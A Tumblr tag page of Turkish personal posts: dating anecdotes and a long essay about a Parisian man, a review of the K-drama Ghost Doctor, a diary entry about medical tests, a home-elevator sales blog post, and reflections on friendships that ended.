#mis gibi date işte
Explore tagged Tumblr posts
derkosmos · 4 months ago
Text
Tavuk dürüm date yapabilirdik
11 notes · View notes
katakullii · 7 months ago
Text
Ay ben gerçekten insanları anlayamıyorum, yani anlıyorum bir yere kadar bir yerden sonra onlar mı sapıtıyor ben mi sapıtıyorum bilmiyorum.
Bi dateimsi deneyimim oldu, bence first date gayet iyi geçti, bunu anlarsınız yani karşınızdaki için de iyi miydi aynı enerjide olunduğunuzu anlıyorsunuz genelde. Sonra konuşmaya da devam ettik ama kendisinden tekrar bir görüşme isteği gelmeyince(ileriye dönük bazı yapabileceğimiz şeylerden bahsetti ara sıra konuşmalarda) ben de bu konularda ay o görüşelim desin, ilk o yazsın insanı olmadığımdan birkaç kere görüşme teklif ettim, en son ekilince anladım tabii, tamam dedim görüşmek istemiyor belli ki, sal.
Keyifli vakit geçirebilmek bir insanı tanımak istemeye yetmiyor mu mesela, anlayamadığım bir nokta.
Kızlara anlatınca yani sen yazmicaksın işte, biraz gizemli olacaksın gibi absürt şeyler söylüyorlar, bana göre absürt ben o insan değilim çünkü, anlamadığım başka bir nokta.
Her neyse şimdiye geldiğimizde ise bu arkadaş sürekli hikayelerimi beğenmeye başladı, ne anladın yurdagül ne anladın modundayım, üzerine düşünüyorum, kafa patlatıyorum diyemem ama tuhaf geliyor.
19 notes · View notes
acid-gramma · 1 year ago
Note
başıma gelmiş tuhaf bi seyi anlatmak istiyorum ben bi ara bi çocukla konuşuyodum, bi dönem çocuk sürekli nevsehir lafını etmeye başlamıştı işte sürekli gidelim falan diyodu (bu arada ikimizin de bi alakası yok nevsehirle) ben de hani illa bi yere gidelim diyorsan daha güzel yerler gezebiliriz nevsehir ne alaka aq deyince de hemen savunmaya geciyodu iste soyle guzel boyle guzel diye. Neyse sonradan ben ogrendim ki bunun eski sevgilisi nevsehirliymis ve bu iste kizin yanına bikac kere gittigi icin birden kendini oralı saymis heralde mk sahiplenmis resmen şehri. Bana tuhaf geldi baya ama o zamanlar eski sevgilisini tamamen hayatından çıkardığını bildiğim icin bi sey de dememistim sadece gitmek istemediğimi soyledim konu kapandi. Neyse cocuk en sonunda benim yanima geldi. Btw ben de seramik kursuna gidiyorum haftasonlari heykel yapiyorum, cocuk gelince onu da kursa davet etmistim hem art date gibi keyifli olur diye ve gercekten eglenceliydi o gun. Sonra iste aradan zaman gecti biz konusmayi kestik yani ayrildik, bi gun cocugun bi postu instada karsima dusunce profiline gireyim dedim bi baktım biosuna seramik ve heykelle ilgilendigini belirten tarzda bi sey yazmis... Ya gercekten cok ilginc eski sevgililerinin kisiligine burunuyo resmen psikolojik bi vaka gibi degil mi sence de mk normal bi sey mi yani bu
AKSNWOSOWOQOSLALALZZ cok iyi
Her exten bir seyler asirsa bu sekil bi on yila FELAKET DONANIMLI bi char olacak. +rep
24 notes · View notes
korelist · 11 months ago
Text
Tumblr media
GHOST DOCTOR // KDRAMA DİZİ YORUMU
UYARI : Yazılar genel olarak spoiler içerebilir. İçermeyedebilir.
İmdb : 7,9 Benim puanım: 8
Drama: Ghost Doctor
Hangul: 고스트 닥터
Director: Boo Sung-Chul
Writer: Kim Sun-Soo
Date: 2022
Language: Korean
Country: South Korea
Cast: Rain, Kim Beom, Uee, Son Na-Eun, Sung Dong-Il
Bizim küçük tilkimiz büyümüş başrol olmuş eyy ahali. Bir çıt fantastik, bir tık medikal bir dizi ile karşımızda. Konusu her ne kadar ilgi çekici olsa da Kim Beom için başladığımı inkar edemeyeceğim. Dizi ortalamanın üzerinde beklediğimden daha keyifliydi. Genel oyuncu kadrosu başarılıydı. Hikayesi eğlenceliydi. Özellikle Rain’i ilk kez izledim oldukça başarılı buldum.
Cha Young-Min(Rain) öğrencilik yıllarında nasıl bir insan olduğunu, nasıl bir doktor olmak istediğini unutmuş, empatiden yoksun kibirli, küstah ve bencil ama çok başarılı bir kalp cerrahıdır. Hastanenin yıldızıdır. Eski karısı Jang Se-Jin (Uee) bir gün babasını kurtarması için ondan yardım ister. Bu hanım kızımızı Marriage contract dizisinden tanıyoruz. Bir türlü sevemedik. Young-Min ameliyatta çok başarılı bir iş çıkarmasına rağmen hasta uyanmaz. Aynı günün akşamında da kendisi bir trafik kazası geçirip komaya girer.
Go Seung-Tak (Kim Beom) ise Young-Min ile asla anlaşamayan onun stajyerlerinden biridir. Aynı zamanda hastane sahibinin torunu olduğu için son derece rahat ve şımarık bir tiptir. Aslında Young-Min’in tam zıttı diyebiliriz. Teoride çok başarılıdır. Bütün soruların cevaplarını biliyordur. Ama pratikte eline neşter alamaz. Diğer bir stajer doktor olan Oh Soo-Jung(Son Na-Eun) ile yakın arkadaştırlar. Bu hanım kızımızı da Cinderella and the Four Knights dizisinden tanıyoruz. Bunu da pek sevememiştik. Özünde dizideki dişil enerji çok zayıftı. İki kadın oyuncuda birbirinden vasattı diyebilirim. Donuk, ruhsuz ve dizinin kimyasıyla uyuşmuyorlardı.
Dizinin fantastik kısmı ise Seung-Tak’ın ruhları duyabiliyor, görebiliyor olmasıydı. Komaya giren Young-Min’i görebilen tek kişinin asla anlaşamadığı ve taban tabana zıt karakterdeki stajyeri olması diziyi ilginçleştiren noktalardan biriydi. Dizinin kadınlarının aksine diğer yan roller oldukça başarılıydı. Özellikle komadaki hayalet kadrosu ve o kadronun başındaki Tess’i canlandıran deneyimli oyuncu Sung Dong-Il.
Bütün bu bir araya geliş olduktan sonrasında, hikaye bize şunu soruyor; başarılı doktorumuz neden komada? Ameliyatı başarılı geçen hasta neden uyanmadı? Stajyer doktorumuz başaralı hayalet ile anlaşıp kendini geliştirebilecek mi? Komadan ne zaman çıkacak ya da çıkacak mı? Dizinin genel konusu işte bu soruların etrafında dönüyor.
İzlemesi kolay, insanı yormayan keyifli bir diziydi. Konusu eğlenceliydi, yer yer strese soksa da dozunu güzel ayarladı. Arada derede kalmış bir dizi olduğunu düşünüyorum. Abartılan onca dizi varken, biraz daha öne çıkmayı hakkediyor. Ayrıca başlarken dediğim gibi küçük tilkimiz Kim Beom bence kendini kanıtlamış.
OST:
Shin Woo - Fly Away
Raven Melus
BAŞKA NELER VAR ?
FOTOĞRAFLAR
4 notes · View notes
insideofaredapple · 2 years ago
Text
Date Desen Değil Mecburiyet Desen Değil O Zaman Ne?
Yine çok fazla kendi kendime kaldığım o zamanlardayız.Kendiyle ne yapacağını bilmediğinde insan, korkutucu bir zaman dilimi.Kendimi bu ara bol bol doktora götürmem gerekiyor.Baş başa olmaya,me timelara tamamız peki ya kendini asla düşünmeyeceğim doktorlarda gezdirirken de kaliteli gelecek mi o zaman?Her doktor iyiydi güzeldi son doktor onkolojiye yolladığında o koridoru nasıl geçtim bilmiyorum.Sadece benim gibi genç bir kadın daha vardı.Doktorun kapısının önünde kayışlar hafiften koptu bende.Nasıl yapıldığından daha önce haberimin bile olmadığı testler daha önce bunları bilmeyecek kadar şanslı oluşum,doktorların önünde kalender durma çabası ama kontrol manyağı bir insan olmamdan mütevellit giderayak doktorları soru bombardımanına tutmam,sevinilen bayramın tüm test sonuçlarını geciktirecek olması,bir yandan hayatın akıp gitmesi,tatilde olmam ama olmamam,ne olacaksa zaten olacak,hepimiz ölümlüyüzle ama daha bir rahat nefes almadım şu hayatta isyanı,Google’a sonuç aratma gafletinde bulunma sonra Pollyannacılık…Böyle uzar da gider.Ama acı çeken hayvan gibi yatakta yatıp ağlamak bana hiçbir zaman iyi gelmedi,meşguliyet her zaman iyidir.Şimdi açtım sınav dosyalarımı sınav bakıyorum,kahvemi yine yaptım çünkü bu işleri hep ben zamanında yetiştiririm.Kulağımda Sezen,işte biz o gün tükeneceğiz diyor.İnsan yaşadıkça küçücük şeylerle umutlanıp,kalbi pır pır atıp heyecanlanan bir canlı,sanmıyorum tükenelim.Sadece taşımakta zorlandıklarımız var,hep gerisi geldi,yine gelecek.
2 notes · View notes
gegirti · 2 years ago
Note
işlerin çok mu bu ara, yoğun mu hayatın
bi ara kullanıcı adımı değiştircem gibi bi şey yazmıştın galiba ne yapcaktın
Anonim mesajlasma olsa oyle konusurdum boyle zorluyom biraz
eskiden connected2.me vardı di mi. sonra büyük çüklüler ele geçirdi orayı sahibisi de bundan para kazanmak için fırsatı yakaladı dating, sexting appe falan çevirdi. ama hayat işte, sürekli değişiyor bir şeyler. ve doğal her şey gibi her şey kümülatif ilerliyor. yabacak bir şey yok.
ben her şeyi söylerim. burayı kapatacam falan da demişimdir. hiçbir şeye garanti veremem. kendime de.
ve her şey çok yoğun. senin duygularından bile
1 note · View note
elagozpariste · 5 years ago
Text
why is pierre into me?
Pierre, tarihimdeki tanıdığım ve en bakmalara doyamadığım erkekti. Onu unuttum ama bu gerçeği hiç unutamamıştım. Hem güzel hem çok fransız. Son dört senede, sayı vermek istemesem de çok sayıda Fransız erkeği tanıdım, her biri ayrı güzel, ayrı havalıydı ama Pierre hep en tepede kaldı. Eli kalem tutuyor, ağzı laf yapıyor ve dayanılmaz raddede karizmatik. Baştan çıkarıcı olduğundan bir an bile şüpheye düşmeyen bir erkek havasında. Pierre'i teklerken, kekelerken, tereddüt ederken ya da utanmış hayal edemezsiniz. Onunla sadece bir film yıldızıyla zaman geçirdiğim hissine kapılmıyorum, böyle bir yıldızın tam da izleyicilerin zihnine kazınan sahnelerde olduğu gibi arz-ı endam edişine tanıklık ediyorum. 4,5 sene önce, Paris'te randevulaştığım ilk erkeklerden biriydi ve karşıdan geldiğini gördüğümde müthiş bir neşeye kapılmıştım. Dünyanın bana verdiği göz alıcı bir hediye gibiydi, böyle bir erkek vardı, Paris'teydi, Fransızca konuşuyordu, (ben konuşamıyordum) buluşmuş bir şeyler içiyorduk, artırıyorum, Proust'tan söz ediyorduk. Hayatın tüm güzelliklerini karşılarken her zaman başlangıç noktasını hatırlarım, neden Pierre bu kadar değerliydi? Bilhassa ben çok başka bir yerden geldiğim için. Kendimi başka ülkelere gider, başka dilleri konuşur hayal edemezken şimdi kendimi Paris'te bulduğum, her şey çok hızlı geliştiği için. 
  Böyle birinin benimle tanıştıktan sonra tanımaya devam etmek isteyeceğine ihtimal veremedim. Hafızamda Pierre'le hikayem orada bitti. Olmayacak duaya amin demeye, bu starın peşinden koşmaya, kendimi rezil etmeme gerek yoktu.
Tumblr media
Birkaç sene sonra beni instagram'dan takibe aldı. Takibine karşılık verdim. En güçlü silahım, instagram'ım. Çünkü hakkımda bir yabancıya en kapsamlı ve tutarlı fikri verebilecek ifade platformu orası. Bu şekilde aylar süren sessiz takipleşmenin ardından bir fotoğrafına sataştım, derken mesajlar birbirini kovaladı ve çok geçmeden beni portakal suyu içmeye davet etti. Nihayet görüşmeyi başarabildiğimiz gün iş çıkışı takım elbesiyle geldi görüşmeye. Bu defa ben de Fransızca konuşuyordum. Geçen senelerden, bende olan onda olmayan ilişkilerden, bende olan onda olmayan hastalığımdan, bende olan onda olmayan değişikliklerden söz ettik. Artık tamamen yeni bir dilde konuşuyordum, en zor şehirlerden birinde hayatta kalmayı -hem mecazen hem de kelimenin gerçek anlamıyla- başarabildiğim kesinleşmişti, iş sahibi olmuştum, bu topraklardaki neredeyse tüm kültürel referansları anlıyor, bir Fransızdan ayırt edilemiyordum. 
Anlatacak çok şey vardı ama anlatmaya gerek yoktu. Onu nasıl hatırladığımı anlattım ona, nasıl tanıdığım en Fransız erkek olduğunu, nasıl gözlerimi aldığını.. Neden üç buçuk senedir görüşmediğimizi sordu. "Neden mi, çünkü beni ghost ettin!" dedim. Alakası bile olmadığını söyledi. En son nerede görüştüğümüzü hatırlattı, ondan sonra da bir daha görüşmediğimizi. İnkar ettim. İkinci kez de mi görüşmüştük? Hakikaten öyleydi. Hatırlıyordu, ben zar zor hatırlayabildim. Sen de az değilsin Neslihan diye geçirdim içimden. İki date başarı sayılır. Bir anda 4,5 sene önceden mesajları koydu önüme. En son nasıl olduğumu sormuş ve benden cevap alamamış. Bu starı meğer ben ghost etmişim. "Nedenini söyleyeyim! Muhtemelen bana gereken ilgiyi ve özeni göstermemişsindir de ondan!" dedim. 
Sarhoştum, derin şeylerden konuşmuyorduk bu defa, hakkında az şey biliyor, çok üstelemiyordum. Hâlâ kazayla yollarımın kesiştiği biri olarak görüyordum onu. Ama akşamın sonunda doğru masanın ortasında ellerimizi birleştirip, kafa kafaya verip göz göze konuşmaya başladık. Kedi gibi birbirimize sırnaşıyorduk. Eve dönmeye karar verdiğimizde Palais Royal çevresinde el ele koştuk, bu film yıldızıyla bir film platosunda gibiydim, biraz koşuyor, sonra sarılıp öpüşüyor, sonra kendi etrafımızda dönüyor, yeniden el ele hızlıca yürümeye devam ediyorduk. Yalnızca biz vardık sokaklarda. 
Parisliliğin kitabına göre ilk öpücük tarafları sevgili yapar. Bu ilişkinin ne kadar sürdüğüne bakılmaksızın, birlikte geçirilen zaman sonlanana kadar sevgili olduğunuza emin olabilirsiniz. Kadın de erkek de bu kurala göre davranır burada. Her yerde her an belirsizlik hakim olsa bile öpüşmenin bağlayıcılığı kesindir. 
 O akşamdan sonra bana mesaj atmaya devam etti. Birkaç gün sonra yeniden buluştuk. Evine gün batımını izlemeye davet etti. Bir yedinci katta, en güzel Paris manzaralarından birine sahipti. 360 derece Paris. Evin bir ucundan Sacré Coeur, Opera, Eyfel, Montparnasse manzarası, öteki yanından Pantheon, Notre-Dame, milli kütüphane, Pere Lachaise ve dahası. Birkaç gün önce Pere Goriot'yu bitirmiştim. Son satırlarda Rastignac o zamanlarda yüksekte kalan Pere Lachaise'den şehre bakıp "A nous deux, Paris!" diye seslenir. Ben de şimdi o yedinci kat balkonundan Rastignac'ın bulunduğu noktaya bakıyorum, Pierre arkamdan sarılıp başını omzumun üstünden uzatmış, işte şimdi biz de karşı karşıyayız Paris.. 
Evin içinde dört dönüyor. Ne yerim, ne içerim soruyor, küçük kanepeler hazırlayıp ağzıma besliyor. Bir plak çalıyor, ben de bir bar taburesini kütüphanesinin karşısına çekip "evet otur şimdi, kütüphaneni analiz edeceğim" diyorum. Hımm... John Fante seviyorsun, Bukowski seviyorsun, Houellebecq seviyorsun ama en önemlisi Beigbeder seviyorsun. Tüm bu yazarlar birleşince pek hayra alamet değil biliyorum ama bir yandan çıkıp bu yazarları seviyorum diyebilmek de bir artı yüksek edebiyat memleketinde. Üst raflarda edebiyat alt raflarda politika kitapları var. Yerime geçip takılıyorum ona, "Kırk yaşına gelmişsin topu topu bu kadar mı kitabın var?" Şaşırıyor, "arkadaşlarım hep çok kitabım olduğunu söylerler aslında" diyor. "Benim arkadaşlarımın hepsinden az kitabın var" diyorum. Yoksa sarsılmaya mı başladı star? Ne ne kadar kitabı olduğu umrumda, ne de onu bozmak. Onun sarsılmaz havası ve kendi etrafında süren hükümdarlığı benimkini tehlikeye atmıyor. Ama ne yazık ki karşımdakine en fazla dokunacak şeyleri bilinçsizce bulup söylemek gibi kötü bir huyum var ve ağzım açılmaya başladı. 
O akşam kimi anlaşmazlıklar yaşadık. Onun zayıflıklarına yanlışlıkla dokunmaya devam ettim ve akşam pek hoş sonlanmadı. Onunlayken kazanılmış bir oyunda hissedilebilecek rahatlığa sahip değilim, çoktan kaybedilmiş bir oyunun koyvermişliğine de. Onun yerine, hiç kazanmadığım ve kazanamayacağıma inandığım bir oyunda olmanın verdiği tasasızlık var üstümde. Her şey kabulüm çünkü hiçbir şey üstünde hak iddia etmiyorum. Aniden çantamı alıp, arkamı dönerek kapıdan çıkıyorum. 
Merdivenlerden inerken ve gece vakti yollarda yürürken üzerimde bir hafiflik ve neşe var. Bu büyüleyici varlıkla bir şeyler yolunda gitmediğinde onu olduğu yerde bırakabilmenin, çok usta olduğu manipülasyonlarına başladığında ne yapmaya çalıştığını fark ettiğimi belirtip, söylediklerinden zerre etkilenmeden karşısındaki koltuktan kalkabilmenin, onu arkamda bıraktığımda söylediği hiçbir şeye kafa yormamanın, kendinden emin olmanın mutluluğu. İçim içime sığmazken evin yolunu tutuyorum. Bende bir şeylerin değiştiğini görmek güzel. Hâlâ hayatımdaki en heyecan verici şey erkekler, onlara dünyamda merkezi bir yer ayırmaktan çekinmiyorum, hâlâ birçoğunu çok seviyorum ama artık kendi dünyamın gücü bana ait. Kararları ben alıyorum, kendimi koruyorum.
Sonraki günlerde Pierre birkaç mesajla sorunun ne olduğunu anlamaya çalıştı. Kendime güvenli şekilde vermem gereken mesajları verdim, bir başka deyişle, beklentilerimi, isteklerimi, ne istemediğimi, nelerden hoşlanmadığımı ve nasıl bir insan olduğumla tutarlı olacak şekilde nasıl birine ihtiyaç duyduğumu ilettim ona. Önce biraz sessiz kaldı. Günler geçtikten sonra hiçbir şey olmamış gibi bana hediye ettiği kitap hakkında ne düşündüğümü sorduğu bir mesaj attı. Aynı akşam bulunduğu yerden motoruyla gelip beni aldı, buluştuğumuzda öpüştük, film başlamadan öpüştük, film sonrası bir şeyler içmeye gidince öpüştük, ayrılırken öpüştük. O arada neydi benim için, bugün benim için kim ve bundan sonra neyim olacak bilmiyorum ama o akşam yine sevgilimdi. Çok da yakın markaja almadığım bu adama dair bir şey gözüme çarptı o akşam. Neden hâlâ benden uzaklaşmadığını, bana karşı böyle nazik davrandığını, hoşuma gitmeyen davranışlarını değiştirmeye çalıştığını yavaş yavaş anlamaya başladım. 
Pierre zordu. Hatta “en zor”du. İnsanlarda en ufak şeyden rahatsız oluyordu. Hoşuna gitmeyen bir şey kulağına çalındığında, gözüne çarptığında, yaptığı şey ne olursa olsun ara verip yakınmaya başlıyordu. İdealistti. Zenofobdu. Biraz ırkçıydı. Fransızların birçoğu gibi Fransa'dan durmadan şikayet ediyor ama Fransız olmayandan daha da fazla şikayet ediyordu. Aşkta en iyi Fransızlardı, yaşam sanatında en iyi Fransızlardı, feminenlikte en iyi Fransızlardı, en iyi dil Fransızca'ydı, bir kelime olsun İngilizce duymaya dayanamıyor, hiçbir şartta kendimi İngilizce ifade etmeme izin vermiyordu; nefret ediyorum İngilizce'den, çirkin bir dil diye üzerine bastıra bastıra tekrar ediyordu. İngilizce'nin gerizekalılara ve reklamcılara bırakılması gerektiğine inanıyordu, biz Fransızca konuşmalıydık. Ve sürpriz olmayan bir şekilde, Pierre bu Fransız idealine en yakın insan olarak beni bulmuştu, fire vermiyordum. Bunu başaran bir yabancı olduğu için daha da değerli oluyordu gözünde. Ayrıca beni şehre ilk geldiğim günlerden tanıdığı için değişime kendi gözleriyle şahit olmuştu. Öyle veya böyle, gözünün önünde bir İstanbullu'dan bir Parizyen doğdu. En gurur duyduğu, kendisinin mükemmel bir örneği olduğu o portrede kendisine ben eşlik ediyordum. Fransızlarla dört senelik hukukumda gördüğüm, benim gibi Fransa sevdalısına zor rastlandığıydı. Bu yüzden her ne kadar bir sürü Fransızdan daha Fransız, bir sürü Parizyenden daha Parizyen olduğumu teslim etseler de, bundan o kadar da fazla etkilenmiyorlardı, Pierre kadar değil. Çünkü öteki Fransızlar kendilerine daha fazla yabancıydı, kendilerinde olmayanı idealize etmeye de daha eğilimli. Kimse 2019 yılında açık açık böyle milliyetçilik yapamıyordu, Pierre hariç. Ve ben.
İşte bu varması zaman alan analizle kendimden memnun, hayatıma devam ediyorum. 
Sevgili Pierre, seni kaybetmekten hiç korkmuyorum çünkü seni kazanmak ihtimal dışıydı. Hayat yine de günün sonunda bana seni layık görürse, dünyalar benim olur. Fakat bunu olur da günü gelirse düşünürüz.
Tumblr media
4 notes · View notes
plakvardinlermiyiz · 3 years ago
Text
Eski zaman takıntım.
şuanda Cyndi Lauper dinliyip güçlü ve kimseye ihtiyacı olmayan o kadın oluyorum. evet tam da şuanda. yarın bu saatlerde pişman olacağım çalışmadığım için ama bu yazı bitsin söz başlıyorum. tıpkı beş saattir dediğim gibi. eski. old fashion. aslında hep modern ve hayatı olması gerekn tarihte olması gerektiği gibi yaşamaya çalıştım. yani öyle sanıyordum. bugün bir arkadaşımla oturup konuşurken çok önemli bir şey fark ettim.
önce bir "normal" tanımı yapalım. Imdb'de sekiz ve üstü not almış, genç "kızların" aşık olduk romantik/dram filmlerdeki aşkları, ilkleri, saf sevgiyi ve "the one" inanışını düşünün. işte bu "normal" olan. yani seni seven ve senin sevdiğin birisiyle tanışıp, sevgili olup, bir sürü şeyi birlikte yapıp, birçok ilki beraber yaşamaktır normal olan. ve her kadın gizlide gizliye ister "normal bir hayat" ve "normal bir ilk sevgili", tıpkı gelinlik ve evlilik hayalleri kurmak gibi.
şimdi de bizim nesile bakalım şöyle yaş aralıklarıyla. lise dönemi bu "normal" tanımını yaşamamız için en uygun zaman aslında. ortalamanın azıcık üzerinde şansa sahip olan kadınlarımız bu "normal" hayata lisede kavuştular. kimilerinin bu "mükemmel, normal" ilişkisi lise sonrasında da devam etti. her şey "normal" seyrinde ilerledi olabildiğince.
üniversite zamanlarında ise çevrenin getirdiği bir "hayatımızı yaşayalım, bağlanmayalım, tavşanlar gibi sevşelim" anlayışı geldi. böyle bir anlayışın yaygın olduğu bir ortamda, eğer daha önce "normal" bir ilişkin olmadıysa, genelde ortama ayak uydurmaya çalışıp başarısız oluyorsun. çünkü önünde belli başlı engeller ve farklılıklar oluyor ve sen ister istemez bir yarışın içine girmiş, çoktan yenik düşmüş ya da geride kalmış oluyorsun.
25 yaş ve sonrasında, evlenene kadar ise insanlar; muhabbet etmeye ve anlaşmaya seksten daha çok önem verip bir partner aramaya odaklanıyorlar. iyiler kapılıyor hızla, kötüler ise doğal seçilimler ile eleniyorlar. bu noktada iyiyi ve kötüyü kim belirliyor; işte bunu kimse bilmiyor.
arkadaşımla konuşurken fark ettiğim şey ise benim lise zamanında üniversite kafasında olmam ve üniversitede ise 25 yaş üstü sendromuna girmem. çünkü ortam koşullarına ayak uydurmak biraz zor oluyor sen sırayı bozmuşken. ve sanırım şuanda doğal seçilimle elenen bir kötüyüm. kim bilir? ya da kim belirler?
bunları düşünürken, arkada çalan seksenler harikası müzikler beni bir anda old fashion olmaya itti. istiyorum mailleşelim, ev telefonları kullanalım, "proper date" anlayışımız olsun, insanlar birbirine daha zor fakat saf duygulara ve gerçekliğe daha kolay ulaşsın. uzunca bir süre zamanımın ilerisinde gitmişim, birçok şeyi kaybetmişim ama hala ölmedim. ne var yani biraz da zamanımın gerisinde gitsem. şu hayatta bir kere de asosyal olsam ne olurmuş yahu?
bence onun yanına gidip ağladığım bugün içinde daha fazla saçmalayamam. hayata eski kafayla devam etme kararı aldım. belki bu rolü oynamak çok daha kolay olur. tek kötü yanı bu role uygun kıyafetlerimin çok fazla olmaması. acaba alışverişe mi çıksam?
"merhaba ben eski bir şeyler arıyorum."
umarım bu eski arayışında, eski bir yüzle falan karşılaşmam. işte bu istenmeyen bir tüy olurdu bu süreçte.
0 notes
liftart · 5 years ago
Photo
Tumblr media
New Post has been published on https://liftart.com.tr/ev-asansoru-yaptirmak-icin-yerim-yok/
Ev Asansörü Yaptırmak için Yerim Yok
Tumblr media
Konu: Ev Asansörü Yaptırmak için Yerim Yok
Birkaç katlı müstakil ve sahipleri veya apartmanda oturan ama dikey çalışan bir asansör yaptırmak zorunda kalanlar bazen bu asansör modeli için binalarında yer bulamazlar. Bazen de bulabildikleri yer ev kullanımı için uygun değildir ya da buldukları yer ev asansörü yapılabilmesi için uygun ölçülerde değildir.
İnsanlar diğer katlara daha kolay, daha zahmetsizce ve daha hızlı ulaşmak istedikleri için bu asansör modelini evlerine yaptırmayı düşünürler. Ama bazen evlerin tasarımı bu asansörlerin yapılabilmesi açısından uygun değildir. Tabii burada suçlu aramıyoruz ama binayı yapan müteahhitin, tasarımı yapan mimarın veya diğer yetkililerin, çok katlı binaları tasarlarken asansör çözümünü daha başlangıçtayken düşünmeleri gerekmekteydi. Bina içine asansör koymasalar bile en azından yerini bırakabilirlerdi.
Neyse konumuz “neden binayı tasarlarken asansör yeri bırakmadınız” değil, konumuz şimdi ben ne yapacağım’dır.
Önceden binanın içine ev asansörü iççin yer bırakılmamışsa, uygun bir yer siz bulmak zorundasınız. Siz bu uygun yeri bulmak için bize bazı ölçüler soracaksınız ki bu konuda şöyle sorular ile her zaman karşılaşıyoruz; ne kadarlık bir yer bulmalıyım, asansör kaç santime kaç santim yer kaplar, en ufak ölçülü asansörünüz ne ölçülerdedir, bir kişilik olsa bile yeter, merdiven arasına bu dikey asansörü koyabilir miyim, sadece asansöre bir kişi girse de olur ama çok ufak olsun vs vs gibi. Ayrıca başka önemli bir konu da, müşterilerin istekleri içerisinde, ufak olsun ama aynı zamanda ucuz da olsun.
Bütün bu soruların cevabı ise çok basit, siz kaç santimetre karelik bir kabin içinde durabilirsiniz ise biz buna uygun mutlaka bir asansör yapabiliriz.
Diyelim evinize bir asansör yaptırmak istiyorsunuz ve bu asansör ev asansörü veya engelli asansörü olsun ve asansör için 80×80 cm bir yer buldunuz, bu belki merdivenin ortası belki bir odanın köşesi. Çoğu kullanıcı 80×80 cm in yeterli olacağını düşünür. Çünkü kontrol etmiştir o ölçülerdeki bir alanda ayakta durabilmiş ve bu ölçülere sığabileceğine karar vermiştir. Buradaki yanlışlık şu ki, siz bu boşluğa tabii ki sığabilirsiniz peki asansör sığabilir mi? Kabin duvarları, kapı kalınlığı, raylar, piston, vida, süspansiyon vs vs… Bunları çoğu kullanıcı düşünemez hayal edemez ve sanır ki ben duruyorsam asansörde buraya sığar. Gördüğünüz gibi bu çok yanlış.
Doğrusu ise sizin beden ölçülerinize göre içine sığabileceğiniz bir kabin ölçüsü belirlemek ve bu kabinin dışına asansörün diğer gereken malzemelerinin ölçüsünü ilave etmek.
İşte sizin vereceğiniz bilgiler ışığı altında ev asansörü ölçüleri ancak o zaman çıkabilir ve 80×80 cm veya 100×100 cm lik bir yere asansör olur olmaz diyebiliriz.
Peki diyelim ki sizin için gereken ev asansörü ölçüsü 100×100 cm ve siz bu ölçüde evinizin içinde uygun bir yer bulamadınız, ne yapacaksınız? Bu ölçülerde ev asansörü veya panoramik asansör ya da engelli asansörü hangi tip olursa olsun dikey çalışan bir asansör modeli size uygun olmuyor, ne yapacaksınız? Bulduğunuz asansör yeri normal bir asansör yapımı için çok ufak bir alan ve bu burası için Vivendi gibi çok ufak bir asansör modeli uygun ama bunun da fiyatı yüksek, fiyatı uygun olan modelin ölçüleri büyük yerime uygun değil, bu model uygun fiyatı da iyi ama son katında tavanım eğri bir çatıdan oluşuyor, ne yaparsınız? Yani bahsetmek istediğimiz asansör yapılabilmesi için uygun yer gerekli olduğu gibi diğer etkenler de var, birincisi asansör fiyatı, ödeme şartları, yükseklik, kapıların genişliği vs vs.
Bu durumda ev asansörü yaptırmaktan vaz mı geçeceksiniz yoksa başka tip asansör modellerine mi bakacaksınız. Belki bilmiyorsunuz ama ev asansörleri, engelli asansörleri veya panoramik asansörler dışında koltuklu merdiven asansörleri de bir seçenek olarak size sunuluyor. Bu seçeneği göz ardı etmemenizi, değerlendirmenizi tavsiye ederiz.
Peki bu tüm asansör modelleri hakkında fiyat detaylarını nerede bulabilirim diye sorarsanız, yaklaşık maliyetlerin belirtildiği internet sitesi merdivenasansoru.net adresinden yaklaşık fiyatları öğrenebilir, detaylar için bizimle irtibata geçebilirsiniz.
Selam ve sevgilerimizle Esen kalın
LiftArt Şubat 2020
window.dataLayer = window.dataLayer || []; function gtag()dataLayer.push(arguments); gtag('js', new Date());
gtag('config', 'UA-75204618-1');
0 notes
elansooth · 8 years ago
Text
LESSONS.
Hayatıma giren herkesten bir şeyler öğrenmişim meğer.
Belki de uzun bir zaman önce hayat mottolarımdan biri haline gelen “hayatıma giren herkesin bir görevi var, tamamladığında çıkıp gider” cümlesi bu kozmik enerjiyi hayat akışıma entegre etmiştir. 
Eski dostum Seço'dan, daimi kankim Mırro'dan, eski sevgilim Doktor Beyden, hayatımdan bir rüzgar gibi geçen eski arkadaşım Mersi'den, yurtdışı yol arkadaşım Seko’dan, seneler önceki derin ilişkimin kahramanı adaşımdan...
Bir şekilde hayatımdan çıkan ya da hala hayatımda olan insanlardan aslında hep bir şeyler öğrenmişim. 
Gay arkadaşlarımın aslında gerçekten "arkadaşım" olmadıklarını anlamakla başlamış bu, artık kayıtsız bir razı oluş içerisinde, direnmeden, çabucak öğrenilir hale gelmiş. Durup geçmişe şöyle bir baktığımda, bu insanların hayatıma giriş ve çıkış şekilleri aslında son derece akıcı, doğal ve zahmetsiz. Bir kavga, tartışma, alevli bir olay barındırmıyor içinde bu bitişler. İşte bu noktada gerçekten arkadaşlıkların da ömrünün olabileceği ihtimali beliriyor kafamda; sonra 20 küsür yıldır benden kopmayan hetero arkadaşlarım geliyor aklıma ve bir anda yıkılıveriyor bu hipotez. Demek oluyorki bu giden kişilerin kendisinde sıkıntı var. O zaman da şu sancılı soru beliriyor kafamda; "gay arkadaşlarım mı bu ilişkide kusurlu olan, yoksa ben mi?" Gerçekten medeni bir şekilde, "artık seninle arkadaşlığıma devam etmek istemiyorum" açıklamasını yaparak gitmek isteselerdi, sorunun benimle ilgili kısmının ne olduğunu kendilerine sormak isterdim. Ama hiçbir gay arkadaşım konuşarak çıkmadı hayatımdan, sessizce sıvıştılar! Sonrasında bu kopuşlara dair geri bildirim aldığım, iki taraf için de ortak gay veya hetero arkadaşlarımın hepsinin genel yorumu 'gidenlerin' hatalı olduğu şeklindeydi. Bu 'sen haklısın' hissinin de samimi olmayan, huzursuzluk verici ve içe sinmeyen bir tarafı var.
Hayatı daha farklı anlamlandırıyorum artık. Hayallerin ufalarak daha gerçekçi boyutlara indiği, hedeflerin daha görünür, kararların daha hızlı alınabilir ve risklerin daha az tehlikeli olduğu bir boyut ve zamana geçmiş gibi hissediyorum. Yarın ölecekmişim gibi bir ruh halinde olmam hem şaşırtıcı hem de keyifli.
